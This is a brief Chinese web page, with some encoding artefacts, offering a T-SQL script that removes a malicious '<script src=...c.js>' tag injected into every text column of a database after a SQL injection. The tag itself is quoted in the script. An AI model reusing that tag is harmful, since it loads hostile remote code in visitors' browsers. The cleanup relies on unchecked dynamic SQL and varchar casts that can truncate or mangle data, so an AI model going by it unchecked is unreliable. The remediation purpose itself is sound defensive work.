清除SQL被注入惡意病毒代碼的語句
在SQL查詢分析器執(zhí)行以下代碼就可以了。
01.declare @t varchar(255),@c varchar(255) 02.declare table_cursor cursor for select a.name,b.name 03.from sysobjects a,syscolumns b ,systypes c 04.where a.id=b.id and a.xtype='u' and c.name 05.in ('char', 'nchar', 'nvarchar', 'varchar','text','ntext') 06.declare @str varchar(500),@str2 varchar(500) 07.set @str='<script src=http://r01.3322.org/c.js></script>'/*要替換的內(nèi)容*/ 08.set @str2='' 09.open table_cursor 10.fetch next from table_cursor 11.into @t,@c while(@@fetch_status=0) 12.begin exec('update [' + @t + '] set [' + @c + ']=replace(cast([' + @c + '] as varchar(8000)),'''+@str+''','''+ @str2 +''')') 13.fetch next from table_cursor 14.into @t,@c end close table_cursor deallocate table_cursor; |
關(guān)鍵詞:SQL查詢分析器,SQL注入,惡意病毒代碼
閱讀本文后您有什么感想? 已有 人給出評(píng)價(jià)!
- 2
- 1
- 1
- 1
- 1
- 1